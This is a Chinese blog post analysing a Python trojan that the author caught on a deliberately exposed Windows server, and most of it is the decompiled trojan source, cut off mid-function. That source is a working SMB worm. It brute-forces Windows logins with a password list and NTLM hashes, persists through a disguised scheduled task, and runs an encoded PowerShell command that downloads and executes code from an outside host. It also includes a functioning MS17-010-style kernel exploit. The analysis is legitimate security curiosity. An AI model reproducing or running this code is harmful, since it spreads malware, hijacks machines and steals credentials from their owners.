2024-11-02 12:32:13 +00:00
---
layout: post
title: 关于Python制作的木马探索
tags: [Python, 木马, 病毒]
---
想不到木马病毒居然也可以用Python写😆<!--more-->
# 起因
在一年前阿里云搞了个高校学生免费领300CNY券的活动,那时候我领了一张并且零元购了一个香港的2c1g轻量服务器,在这一年里它为我做了许多,不仅当延迟极低的梯子,另外还运行着H@H给我赚Hath 。一年过后的现在它马上就要过期了,当时我让我的同学也领了一张,正好等到我服务器快过期的时候买,于是我创好服务器并且把我的东西都迁过去,之后旧的服务器就没什么用了。
那在它剩下的最后几天让它干些什么好呢?首先Linux系统感觉没啥意思,装个Windows玩玩吧。不过香港阿里云在装了Linux系统之后是不允许切换成Windows的,而且如果买的时候装Windows还需要额外付费,所以我用了一个[一键DD/重装脚本 ](https://github.com/bin456789/reinstall )把我的系统重装成Windows Server 2008。不过其实就算刷成Windows也不能改变它没啥用的事实,所以我给它设置了超简单的密码,并且没有装任何补丁,防火墙全关掉,让它在网络上成为能被随意攻破的肉鸡吧。
在这之后没几天我登上去看了一眼,其实看不出来啥,毕竟就算被入侵了绝大多数情况都是被人当备用的,一般人也不会闲着把上面的文件全删掉,把系统搞崩。所以我安了个360,看看有没有中木马,结果还真中了,在Temp目录下多了个“svchost.exe”文件(虽然还有其他的木马文件但不是Python的所以不感兴趣),而且看图标居然是pyinstaller打包的!这让我有点感兴趣了,其他语言写的编译之后很难看出来什么,而且我也看不懂其他语言写的东西,但是Python我至少还是能看懂的,所以我就下载了这个样本尝试获得它的源代码。
# 提取源代码
pyinstaller解包还是挺简单的,用[PyInstaller Extractor ](https://github.com/extremecoders-re/pyinstxtractor )就可以,首先我在我的电脑上尝试解包,不过因为Python版本不对,里面的PYZ文件不能解包,并且提示我使用Python 2.7的环境再试一次。我找了台装有Python 2.7环境的服务器又执行了一次之后就全部解包完了。想不到这个木马居然没有加密😂,直接就能解压,不过就算加密了我之前看过一篇[文章 ](https://www.cnblogs.com/liweis/p/15891170.html )可以进行解密。
不过现在得到的文件都是字节码pyc文件,还需要反编译才能看到源代码,这个步骤也很简单,安装个[uncompyle6 ](https://github.com/rocky/python-uncompyle6 )工具就可以。它的主程序名字叫“ii.py”,于是我反编译了一下,不过看起来作者还整了一些混淆,但是极其简单,就把几个函数换成一串变量而已,所以写了个简单的脚本给它还原回去了,最终处理的结果如下(里面有个[混淆过的PowerShell版mimikatz ](https://github.com/DanMcInerney/Invoke-Cats ),太长了所以我给删掉了):
2025-04-09 17:31:38 +00:00
2025-04-10 01:19:10 +00:00
<details markdown="1">
<summary markdown="span">
Show Code
</summary>
2025-04-09 17:31:38 +00:00
2024-11-02 12:32:13 +00:00
```python
# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
# Embedded file name: ii.py
import subprocess
import re
import binascii
import socket
import struct
import threading
import os
import random
import platform
from urllib2 import urlopen
from json import load
from impacket import smb , smbconnection
from mysmb import MYSMB
from struct import pack , unpack , unpack_from
import sys
import socket
import time
from psexec import PSEXEC
iplist = [ '192.168.0.1/24' , '192.168.1.1/24' , '192.168.2.1/24' , '192.168.3.1/24' , '192.168.4.1/24' ,
'192.168.5.1/24' , '192.168.6.1/24' , '192.168.7.1/24' , '192.168.8.1/24' , '192.168.9.1/24' ,
'192.168.10.1/24' , '192.168.18.1/24' , '192.168.31.1/24' , '192.168.199.1/24' ,
'192.168.254.1/24' , '192.168.67.1/24' , '10.0.0.1/24' , '10.0.1.1/24' , '10.0.2.1/24' ,
'10.1.1.1/24' , '10.90.90.1/24' , '10.1.10.1/24' , '10.10.1.1/24' ]
userlist = [ '' , 'Administrator' , 'user' , 'admin' , 'test' , 'hp' , 'guest' ]
userlist2 = [ '' , 'Administrator' , 'admin' ]
passlist = [ '' , '123456' , 'password' , 'qwerty' , '12345678' , '123456789' , '123' , '1234' ,
'123123' , '12345' , '12345678' , '123123123' , '1234567890' , '88888888' , '111111111' ,
'000000' , '111111' , '112233' , '123321' , '654321' , '666666' , '888888' , 'a123456' ,
'123456a' , '5201314' , '1qaz2wsx' , '1q2w3e4r' , 'qwe123' , '123qwe' , 'a123456789' ,
'123456789a' , 'baseball' , 'dragon' , 'football' , 'iloveyou' , 'password' ,
'sunshine' , 'princess' , 'welcome' , 'abc123' , 'monkey' , '!@#$%^&*' , 'charlie' ,
'aa123456' , 'Aa123456' , 'admin' , 'homelesspa' , 'password1' , '1q2w3e4r5t' ,
'qwertyuiop' , '1qaz2wsx' ]
domainlist = [ '' ]
nip = []
ntlist = []
# remove mkatz cause it is too long(https://github.com/DanMcInerney/Invoke-Cats)
mkatz = ''
def find_ip ():
global iplist2
ipconfig_process = subprocess . Popen ( 'ipconfig /all' , stdout = subprocess . PIPE )
output = ipconfig_process . stdout . read ()
result = re . findall ( ' \\ b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \\ .) {3} (?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \\ b' , output )
for ipaddr in result :
if ipaddr != '127.0.0.1' and ipaddr != '255.255.255.0' and ipaddr != '0.0.0.0' :
ipaddr = ipaddr . split ( '.' )[ 0 ] + '.' + ipaddr . split ( '.' )[ 1 ] + '.' + ipaddr . split ( '.' )[ 2 ] + '.1/24'
iplist . append ( ipaddr )
netstat_process = subprocess . Popen ( 'netstat -na' , stdout = subprocess . PIPE )
output2 = netstat_process . stdout . read ()
result2 = re . findall ( ' \\ b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \\ .) {3} (?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \\ b' , output2 )
for ip in result2 :
if ip != '127.0.0.1' and ip != '0.0.0.0' and ip != '255.255.0.0' and ip != '1.1.1.1' :
ip = ip . split ( '.' )[ 0 ] + '.' + ip . split ( '.' )[ 1 ] + '.' + ip . split ( '.' )[ 2 ] + '.1/24'
iplist . append ( ip )
try :
ipp1 = urlopen ( 'http://ip.42.pl/raw' , timeout = 3 ) . read ()
ipp1 = ipp1 . split ( '.' )[ 0 ] + '.' + ipp1 . split ( '.' )[ 1 ] + '.' + ipp1 . split ( '.' )[ 2 ] + '.1/24'
ipp2 = load ( urlopen ( 'http://jsonip.com' , timeout = 3 ))[ 'ip' ]
ipp2 = ipp2 . split ( '.' )[ 0 ] + '.' + ipp2 . split ( '.' )[ 1 ] + '.' + ipp2 . split ( '.' )[ 2 ] + '.1/24'
iplist . append ( ipp1 )
iplist . append ( ipp2 )
except :
pass
iplist2 = list ( set ( iplist ))
iplist2 . sort ( key = iplist . index )
return iplist2
def xip ( numb ):
del nip [:]
for n in xrange ( numb ):
ipp = socket . inet_ntoa ( struct . pack ( '>I' , random . randint ( 1 , 4294967295 L )))
ipp = ipp . split ( '.' )[ 0 ] + '.' + ipp . split ( '.' )[ 1 ] + '.' + ipp . split ( '.' )[ 2 ] + '.1/24'
nip . append ( ipp )
return nip
def scan ( ip , p ):
global timeout
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s . settimeout ( float ( timeout ) if timeout else None )
try :
s . connect (( ip , p ))
return 1
except Exception as e :
return 0
def scan2 ( ip , p ):
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s . settimeout ( float ( 2 ))
try :
s . connect (( ip , p ))
return 1
except Exception as e :
return 0
def scan3 ( ip , p ):
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s . settimeout ( float ( 1 ))
try :
s . connect (( ip , p ))
return 1
except Exception as e :
return 0
def validate ( ip , fr ):
global dl
global domainlist
global ee2
global passlist
global userlist2
for u in userlist2 :
for p in passlist :
if u == '' and p != '' :
continue
for d in domainlist :
if PSEXEC ( ee2 , dl , 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c: \\ windows \\ temp \\ svchost.exe' , u , p , d , fr ) . run ( ip ):
print 'SMB Succ!'
return
def validate2 ( ip , fr ):
global ntlist
for u in userlist2 :
for d in domainlist :
for n in ntlist :
if PSEXEC ( ee2 , dl , 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c: \\ windows \\ temp \\ svchost.exe' , u , '' , d , fr , '00000000000000000000000000000000:' + n ) . run ( ip ):
print 'SMB Succ!'
return
def scansmb ( ip , p ):
global semaphore1
if scan ( ip , 445 ) == 1 :
if scan ( ip , 65533 ) == 0 :
print 'exp IP:' + ip
try :
validate ( ip , '1' )
except :
pass
try :
check_ip ( ip , 1 )
except :
pass
try :
validate2 ( ip , '3' )
except :
pass
semaphore1 . release ()
def scansmb2 ( ip , p ):
if scan2 ( ip , 445 ) == 1 :
print 'exp IP:' + ip
try :
validate ( ip , '2' )
except :
pass
try :
check_ip ( ip , 2 )
except :
pass
try :
validate2 ( ip , '2' )
except :
pass
semaphore1 . release ()
def scansmb3 ( ip , p ):
global semaphore2
if scan3 ( ip , 445 ) == 1 :
if scan3 ( ip , 65533 ) == 0 :
print 'exp IP:' + ip
try :
validate ( ip , '2' )
except :
pass
try :
check_ip ( ip , 2 )
except :
pass
try :
validate2 ( ip , '3' )
except :
pass
semaphore2 . release ()
WIN7_64_SESSION_INFO = { 'SESSION_SECCTX_OFFSET' : 160 , 'SESSION_ISNULL_OFFSET' : 186 , 'FAKE_SECCTX' : ( pack ( '<IIQQIIB' , 2621994 , 1 , 0 , 0 , 2 , 0 , 1 )), 'SECCTX_SIZE' : 40 }
WIN7_32_SESSION_INFO = { 'SESSION_SECCTX_OFFSET' : 128 , 'SESSION_ISNULL_OFFSET' : 150 , 'FAKE_SECCTX' : ( pack ( '<IIIIIIB' , 1835562 , 1 , 0 , 0 , 2 , 0 , 1 )), 'SECCTX_SIZE' : 28 }
WIN8_64_SESSION_INFO = { 'SESSION_SECCTX_OFFSET' : 176 , 'SESSION_ISNULL_OFFSET' : 202 , 'FAKE_SECCTX' : ( pack ( '<IIQQQQIIB' , 3670570 , 1 , 0 , 0 , 0 , 0 , 2 , 0 , 1 )), 'SECCTX_SIZE' : 56 }
WIN8_32_SESSION_INFO = { 'SESSION_SECCTX_OFFSET' : 136 , 'SESSION_ISNULL_OFFSET' : 158 , 'FAKE_SECCTX' : ( pack ( '<IIIIIIIIB' , 2359850 , 1 , 0 , 0 , 0 , 0 , 2 , 0 , 1 )), 'SECCTX_SIZE' : 36 }
WIN2K3_64_SESSION_INFO = { 'SESSION_ISNULL_OFFSET' : 186 , 'SESSION_SECCTX_OFFSET' : 160 , 'SECCTX_PCTXTHANDLE_OFFSET' : 16 , 'PCTXTHANDLE_TOKEN_OFFSET' : 64 , 'TOKEN_USER_GROUP_CNT_OFFSET' : 76 , 'TOKEN_USER_GROUP_ADDR_OFFSET' : 104 }
WIN2K3_32_SESSION_INFO = { 'SESSION_ISNULL_OFFSET' : 150 , 'SESSION_SECCTX_OFFSET' : 128 , 'SECCTX_PCTXTHANDLE_OFFSET' : 12 , 'PCTXTHANDLE_TOKEN_OFFSET' : 36 , 'TOKEN_USER_GROUP_CNT_OFFSET' : 76 , 'TOKEN_USER_GROUP_ADDR_OFFSET' : 104 }
WINXP_32_SESSION_INFO = { 'SESSION_ISNULL_OFFSET' : 148 , 'SESSION_SECCTX_OFFSET' : 132 , 'PCTXTHANDLE_TOKEN_OFFSET' : 36 , 'TOKEN_USER_GROUP_CNT_OFFSET' : 76 , 'TOKEN_USER_GROUP_ADDR_OFFSET' : 104 , 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1' : 64 , 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1' : 92 }
WIN2K_32_SESSION_INFO = { 'SESSION_ISNULL_OFFSET' : 148 , 'SESSION_SECCTX_OFFSET' : 132 , 'PCTXTHANDLE_TOKEN_OFFSET' : 36 , 'TOKEN_USER_GROUP_CNT_OFFSET' : 60 , 'TOKEN_USER_GROUP_ADDR_OFFSET' : 88 }
WIN7_32_TRANS_INFO = { 'TRANS_SIZE' : 160 , 'TRANS_FLINK_OFFSET' : 24 , 'TRANS_INPARAM_OFFSET' : 64 , 'TRANS_OUTPARAM_OFFSET' : 68 , 'TRANS_INDATA_OFFSET' : 72 , 'TRANS_OUTDATA_OFFSET' : 76 , 'TRANS_PARAMCNT_OFFSET' : 88 , 'TRANS_TOTALPARAMCNT_OFFSET' : 92 , 'TRANS_FUNCTION_OFFSET' : 114 , 'TRANS_MID_OFFSET' : 128 }
WIN7_64_TRANS_INFO = { 'TRANS_SIZE' : 248 , 'TRANS_FLINK_OFFSET' : 40 , 'TRANS_INPARAM_OFFSET' : 112 , 'TRANS_OUTPARAM_OFFSET' : 120 , 'TRANS_INDATA_OFFSET' : 128 , 'TRANS_OUTDATA_OFFSET' : 136 , 'TRANS_PARAMCNT_OFFSET' : 152 , 'TRANS_TOTALPARAMCNT_OFFSET' : 156 , 'TRANS_FUNCTION_OFFSET' : 178 , 'TRANS_MID_OFFSET' : 192 }
WIN5_32_TRANS_INFO = { 'TRANS_SIZE' : 152 , 'TRANS_FLINK_OFFSET' : 24 , 'TRANS_INPARAM_OFFSET' : 60 , 'TRANS_OUTPARAM_OFFSET' : 64 , 'TRANS_INDATA_OFFSET' : 68 , 'TRANS_OUTDATA_OFFSET' : 72 , 'TRANS_PARAMCNT_OFFSET' : 84 , 'TRANS_TOTALPARAMCNT_OFFSET' : 88 , 'TRANS_FUNCTION_OFFSET' : 110 , 'TRANS_PID_OFFSET' : 120 , 'TRANS_MID_OFFSET' : 124 }
WIN5_64_TRANS_INFO = { 'TRANS_SIZE' : 224 , 'TRANS_FLINK_OFFSET' : 40 , 'TRANS_INPARAM_OFFSET' : 104 , 'TRANS_OUTPARAM_OFFSET' : 112 , 'TRANS_INDATA_OFFSET' : 120 , 'TRANS_OUTDATA_OFFSET' : 128 , 'TRANS_PARAMCNT_OFFSET' : 144 , 'TRANS_TOTALPARAMCNT_OFFSET' : 148 , 'TRANS_FUNCTION_OFFSET' : 170 , 'TRANS_PID_OFFSET' : 180 , 'TRANS_MID_OFFSET' : 184 }
X86_INFO = { 'ARCH' : 'x86' , 'PTR_SIZE' : 4 , 'PTR_FMT' : 'I' , 'FRAG_TAG_OFFSET' : 12 , 'POOL_ALIGN' : 8 , 'SRV_BUFHDR_SIZE' : 8 }
X64_INFO = { 'ARCH' : 'x64' , 'PTR_SIZE' : 8 , 'PTR_FMT' : 'Q' , 'FRAG_TAG_OFFSET' : 20 , 'POOL_ALIGN' : 16 , 'SRV_BUFHDR_SIZE' : 16 }
def merge_dicts ( * dict_args ):
result = {}
for dictionary in dict_args :
result . update ( dictionary )
return result
OS_ARCH_INFO = { 'WIN7' : { 'x86' : ( merge_dicts ( X86_INFO , WIN7_32_TRANS_INFO , WIN7_32_SESSION_INFO )), 'x64' : ( merge_dicts ( X64_INFO , WIN7_64_TRANS_INFO , WIN7_64_SESSION_INFO ))}, 'WIN8' : { 'x86' : ( merge_dicts ( X86_INFO , WIN7_32_TRANS_INFO , WIN8_32_SESSION_INFO )), 'x64' : ( merge_dicts ( X64_INFO , WIN7_64_TRANS_INFO , WIN8_64_SESSION_INFO ))}, 'WINXP' : { 'x86' : ( merge_dicts ( X86_INFO , WIN5_32_TRANS_INFO , WINXP_32_SESSION_INFO )), 'x64' : ( merge_dicts ( X64_INFO , WIN5_64_TRANS_INFO , WIN2K3_64_SESSION_INFO ))}, 'WIN2K3' : { 'x86' : ( merge_dicts ( X86_INFO , WIN5_32_TRANS_INFO , WIN2K3_32_SESSION_INFO )), 'x64' : ( merge_dicts ( X64_INFO , WIN5_64_TRANS_INFO , WIN2K3_64_SESSION_INFO ))}, 'WIN2K' : { 'x86' : ( merge_dicts ( X86_INFO , WIN5_32_TRANS_INFO , WIN2K_32_SESSION_INFO ))}}
TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8
def calc_alloc_size ( size , align_size ):
return size + align_size - 1 & ~ ( align_size - 1 )
def wait_for_request_processed ( conn ):
conn . send_echo ( 'a' )
def find_named_pipe ( conn ):
pipes = [ 'browser' , 'spoolss' , 'netlogon' , 'lsarpc' , 'samr' ]
tid = conn . tree_connect_andx ( ' \\\\ ' + conn . get_remote_host () + ' \\ ' + 'IPC$' )
found_pipe = None
for pipe in pipes :
try :
fid = conn . nt_create_andx ( tid , pipe )
conn . close ( tid , fid )
found_pipe = pipe
break
except smb . SessionError as e :
pass
conn . disconnect_tree ( tid )
return found_pipe
special_mid = 0
extra_last_mid = 0
def reset_extra_mid ( conn ):
global extra_last_mid
global special_mid
special_mid = ( conn . next_mid () & 65280 ) - 256
extra_last_mid = special_mid
def next_extra_mid ():
global extra_last_mid
extra_last_mid += 1
return extra_last_mid
GROOM_TRANS_SIZE = 20496
def leak_frag_size ( conn , tid , fid ):
info = {}
mid = conn . next_mid ()
req1 = conn . create_nt_trans_packet ( 5 , param = pack ( '<HH' , fid , 0 ), mid = mid , data = 'A' * 4304 , maxParameterCount = GROOM_TRANS_SIZE - 4304 - TRANS_NAME_LEN )
req2 = conn . create_nt_trans_secondary_packet ( mid , data = 'B' * 276 )
conn . send_raw ( req1 [: - 8 ])
conn . send_raw ( req1 [ - 8 :] + req2 )
leakData = conn . recv_transaction_data ( mid , 4580 )
leakData = leakData [ 4308 :]
if leakData [ X86_INFO [ 'FRAG_TAG_OFFSET' ]: X86_INFO [ 'FRAG_TAG_OFFSET' ] + 4 ] == 'Frag' :
print 'Target is 32 bit'
info [ 'arch' ] = 'x86'
info [ 'FRAG_POOL_SIZE' ] = ord ( leakData [ X86_INFO [ 'FRAG_TAG_OFFSET' ] - 2 ]) * X86_INFO [ 'POOL_ALIGN' ]
elif leakData [ X64_INFO [ 'FRAG_TAG_OFFSET' ]: X64_INFO [ 'FRAG_TAG_OFFSET' ] + 4 ] == 'Frag' :
print 'Target is 64 bit'
info [ 'arch' ] = 'x64'
info [ 'FRAG_POOL_SIZE' ] = ord ( leakData [ X64_INFO [ 'FRAG_TAG_OFFSET' ] - 2 ]) * X64_INFO [ 'POOL_ALIGN' ]
else :
print 'Not found Frag pool tag in leak data'
print ( 'Got frag size: 0x {:x} ' ) . format ( info [ 'FRAG_POOL_SIZE' ])
return info
def read_data ( conn , info , read_addr , read_size ):
fmt = info [ 'PTR_FMT' ]
new_data = pack ( '<' + fmt * 3 , info [ 'trans2_addr' ] + info [ 'TRANS_FLINK_OFFSET' ], info [ 'trans2_addr' ] + 512 , read_addr )
new_data += pack ( '<II' , 0 , 0 )
new_data += pack ( '<III' , 8 , 8 , 8 )
new_data += pack ( '<III' , read_size , read_size , read_size )
new_data += pack ( '<HH' , 0 , 5 )
conn . send_nt_trans_secondary ( mid = info [ 'trans1_mid' ], data = new_data , dataDisplacement = info [ 'TRANS_OUTPARAM_OFFSET' ])
conn . send_nt_trans ( 5 , param = pack ( '<HH' , info [ 'fid' ], 0 ), totalDataCount = 17120 , totalParameterCount = 4096 )
conn . send_nt_trans_secondary ( mid = info [ 'trans2_mid' ])
read_data = conn . recv_transaction_data ( info [ 'trans2_mid' ], 8 + read_size )
info [ 'trans2_addr' ] = unpack_from ( '<' + fmt , read_data )[ 0 ] - info [ 'TRANS_FLINK_OFFSET' ]
conn . send_nt_trans_secondary ( mid = info [ 'trans1_mid' ], param = pack ( '<' + fmt , info [ 'trans2_addr' ]), paramDisplacement = info [ 'TRANS_INDATA_OFFSET' ])
wait_for_request_processed ( conn )
conn . send_nt_trans_secondary ( mid = info [ 'trans1_mid' ], data = pack ( '<H' , info [ 'trans2_mid' ]), dataDisplacement = info [ 'TRANS_MID_OFFSET' ])
wait_for_request_processed ( conn )
return read_data [ 8 :]
def write_data ( conn , info , write_addr , write_data ):
conn . send_nt_trans_secondary ( mid = info [ 'trans1_mid' ], data = pack ( '<' + info [ 'PTR_FMT' ], write_addr ), dataDisplacement = info [ 'TRANS_INDATA_OFFSET' ])
wait_for_request_processed ( conn )
conn . send_nt_trans_secondary ( mid = info [ 'trans2_mid' ], data = write_data )
wait_for_request_processed ( conn )
def align_transaction_and_leak ( conn , tid , fid , info , numFill = 4 ):
trans_param = pack ( '<HH' , fid , 0 )
for i in range ( numFill ):
conn . send_nt_trans ( 5 , param = trans_param , totalDataCount = 4304 , maxParameterCount = GROOM_TRANS_SIZE - 4304 )
mid_ntrename = conn . next_mid ()
req1 = conn . create_nt_trans_packet ( 5 , param = trans_param , mid = mid_ntrename , data = 'A' * 4304 , maxParameterCount = info [ 'GROOM_DATA_SIZE' ] - 4304 )
req2 = conn . create_nt_trans_secondary_packet ( mid_ntrename , data = 'B' * 276 )
req3 = conn . create_nt_trans_packet ( 5 , param = trans_param , mid = fid , totalDataCount = info [ 'GROOM_DATA_SIZE' ] - 4096 , maxParameterCount = 4096 )
reqs = []
for i in range ( 12 ):
mid = next_extra_mid ()
reqs . append ( conn . create_trans_packet ( '' , mid = mid , param = trans_param , totalDataCount = info [ 'BRIDE_DATA_SIZE' ] - 512 , totalParameterCount = 512 , maxDataCount = 0 , maxParameterCount = 0 ))
conn . send_raw ( req1 [: - 8 ])
conn . send_raw ( req1 [ - 8 :] + req2 + req3 + ( '' ) . join ( reqs ))
leakData = conn . recv_transaction_data ( mid_ntrename , 4580 )
leakData = leakData [ 4308 :]
if leakData [ info [ 'FRAG_TAG_OFFSET' ]: info [ 'FRAG_TAG_OFFSET' ] + 4 ] != 'Frag' :
print 'Not found Frag pool tag in leak data'
return None
leakData = leakData [ info [ 'FRAG_TAG_OFFSET' ] - 4 + info [ 'FRAG_POOL_SIZE' ]:]
expected_size = pack ( '<H' , info [ 'BRIDE_TRANS_SIZE' ])
leakTransOffset = info [ 'POOL_ALIGN' ] + info [ 'SRV_BUFHDR_SIZE' ]
if leakData [ 4 : 8 ] != 'LStr' or leakData [ info [ 'POOL_ALIGN' ]: info [ 'POOL_ALIGN' ] + 2 ] != expected_size or leakData [ leakTransOffset + 2 : leakTransOffset + 4 ] != expected_size :
print 'No transaction struct in leak data'
return None
leakTrans = leakData [ leakTransOffset :]
ptrf = info [ 'PTR_FMT' ]
_ , connection_addr , session_addr , treeconnect_addr , flink_value = unpack_from ( '<' + ptrf * 5 , leakTrans , 8 )
inparam_value = unpack_from ( '<' + ptrf , leakTrans , info [ 'TRANS_INPARAM_OFFSET' ])[ 0 ]
leak_mid = unpack_from ( '<H' , leakTrans , info [ 'TRANS_MID_OFFSET' ])[ 0 ]
print ( 'CONNECTION: 0x {:x} ' ) . format ( connection_addr )
print ( 'SESSION: 0x {:x} ' ) . format ( session_addr )
print ( 'FLINK: 0x {:x} ' ) . format ( flink_value )
print ( 'InParam: 0x {:x} ' ) . format ( inparam_value )
print ( 'MID: 0x {:x} ' ) . format ( leak_mid )
next_page_addr = ( inparam_value & 18446744073709547520 L ) + 4096
if next_page_addr + info [ 'GROOM_POOL_SIZE' ] + info [ 'FRAG_POOL_SIZE' ] + info [ 'POOL_ALIGN' ] + info [ 'SRV_BUFHDR_SIZE' ] + info [ 'TRANS_FLINK_OFFSET' ] != flink_value :
print ( 'unexpected alignment, diff: 0x {:x} ' ) . format ( flink_value - next_page_addr )
return None
return { 'connection' : connection_addr , 'session' : session_addr , 'next_page_addr' : next_page_addr , 'trans1_mid' : leak_mid , 'trans1_addr' : ( inparam_value - info [ 'TRANS_SIZE' ] - TRANS_NAME_LEN ), 'trans2_addr' : ( flink_value - info [ 'TRANS_FLINK_OFFSET' ])}
def exploit_matched_pairs ( conn , pipe_name , info ):
tid = conn . tree_connect_andx ( ' \\\\ ' + conn . get_remote_host () + ' \\ ' + 'IPC$' )
conn . set_default_tid ( tid )
fid = conn . nt_create_andx ( tid , pipe_name )
info . update ( leak_frag_size ( conn , tid , fid ))
info . update ( OS_ARCH_INFO [ info [ 'os' ]][ info [ 'arch' ]])
info [ 'GROOM_POOL_SIZE' ] = calc_alloc_size ( GROOM_TRANS_SIZE + info [ 'SRV_BUFHDR_SIZE' ] + info [ 'POOL_ALIGN' ], info [ 'POOL_ALIGN' ])
print ( 'GROOM_POOL_SIZE: 0x {:x} ' ) . format ( info [ 'GROOM_POOL_SIZE' ])
info [ 'GROOM_DATA_SIZE' ] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info [ 'TRANS_SIZE' ]
bridePoolSize = 4096 - ( info [ 'GROOM_POOL_SIZE' ] & 4095 ) - info [ 'FRAG_POOL_SIZE' ]
info [ 'BRIDE_TRANS_SIZE' ] = bridePoolSize - ( info [ 'SRV_BUFHDR_SIZE' ] + info [ 'POOL_ALIGN' ])
print ( 'BRIDE_TRANS_SIZE: 0x {:x} ' ) . format ( info [ 'BRIDE_TRANS_SIZE' ])
info [ 'BRIDE_DATA_SIZE' ] = info [ 'BRIDE_TRANS_SIZE' ] - TRANS_NAME_LEN - info [ 'TRANS_SIZE' ]
leakInfo = None
for i in range ( 10 ):
reset_extra_mid ( conn )
leakInfo = align_transaction_and_leak ( conn , tid , fid , info )
if leakInfo is not None :
break
print 'leak failed... try again'
conn . close ( tid , fid )
conn . disconnect_tree ( tid )
tid = conn . tree_connect_andx ( ' \\\\ ' + conn . get_remote_host () + ' \\ ' + 'IPC$' )
conn . set_default_tid ( tid )
fid = conn . nt_create_andx ( tid , pipe_name )
if leakInfo is None :
return False
info [ 'fid' ] = fid
info . update ( leakInfo )
shift_indata_byte = 512
conn . do_write_andx_raw_pipe ( fid , 'A' * shift_indata_byte )
indata_value = info [ 'next_page_addr' ] + info [ 'TRANS_SIZE' ] + 8 + info [ 'SRV_BUFHDR_SIZE' ] + 4096 + shift_indata_byte
indata_next_trans_displacement = info [ 'trans2_addr' ] - indata_value
conn . send_nt_trans_secondary ( mid = fid , data = ' \x00 ' , dataDisplacement = indata_next_trans_displacement + info [ 'TRANS_MID_OFFSET' ])
wait_for_request_processed ( conn )
recvPkt = conn . send_nt_trans ( 5 , mid = special_mid , param = pack ( '<HH' , fid , 0 ), data = '' )
if recvPkt . getNTStatus () != 65538 :
print ( 'unexpected return status: 0x {:x} ' ) . format ( recvPkt . getNTStatus ())
print '!!! Write to wrong place !!!'
print 'the target might be crashed'
return False
print 'success controlling groom transaction'
print 'modify trans1 struct for arbitrary read/write'
fmt = info [ 'PTR_FMT' ]
conn . send_nt_trans_secondary ( mid = fid , data = pack ( '<' + fmt , info [ 'trans1_addr' ]), dataDisplacement = indata_next_trans_displacement + info [ 'TRANS_INDATA_OFFSET' ])
wait_for_request_processed ( conn )
conn . send_nt_trans_secondary ( mid = special_mid , data = pack ( '<' + fmt * 3 , info [ 'trans1_addr' ], info [ 'trans1_addr' ] + 512 , info [ 'trans2_addr' ]), dataDisplacement = info [ 'TRANS_INPARAM_OFFSET' ])
wait_for_request_processed ( conn )
info [ 'trans2_mid' ] = conn . next_mid ()
conn . send_nt_trans_secondary ( mid = info [ 'trans1_mid' ], data = pack ( '<H' , info [ 'trans2_mid' ]), dataDisplacement = info [ 'TRANS_MID_OFFSET' ])
return True
def exploit_fish_barrel ( conn , pipe_name , info ):
tid = conn . tree_connect_andx ( ' \\\\ ' + conn . get_remote_host () + ' \\ ' + 'IPC$' )
conn . set_default_tid ( tid )
fid = conn . nt_create_andx ( tid , pipe_name )
info [ 'fid' ] = fid
if info [ 'os' ] == 'WIN7' and 'arch' not in info :
info . update ( leak_frag_size ( conn , tid , fid ))
if 'arch' in info :
info . update ( OS_ARCH_INFO [ info [ 'os' ]][ info [ 'arch' ]])
attempt_list = [ OS_ARCH_INFO [ info [ 'os' ]][ info [ 'arch' ]]]
else :
attempt_list = [
OS_ARCH_INFO [ info [ 'os' ]][ 'x64' ], OS_ARCH_INFO [ info [ 'os' ]][ 'x86' ]]
print 'Groom packets'
trans_param = pack ( '<HH' , info [ 'fid' ], 0 )
for i in range ( 12 ):
mid = info [ 'fid' ] if i == 8 else next_extra_mid ()
conn . send_trans ( '' , mid = mid , param = trans_param , totalParameterCount = 256 - TRANS_NAME_LEN , totalDataCount = 3776 , maxParameterCount = 64 , maxDataCount = 0 )
shift_indata_byte = 512
conn . do_write_andx_raw_pipe ( info [ 'fid' ], 'A' * shift_indata_byte )
success = False
for tinfo in attempt_list :
print 'attempt controlling next transaction on ' + tinfo [ 'ARCH' ]
HEAP_CHUNK_PAD_SIZE = ( tinfo [ 'POOL_ALIGN' ] - ( tinfo [ 'TRANS_SIZE' ] + HEAP_HDR_SIZE ) % tinfo [ 'POOL_ALIGN' ]) % tinfo [ 'POOL_ALIGN' ]
NEXT_TRANS_OFFSET = 3840 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
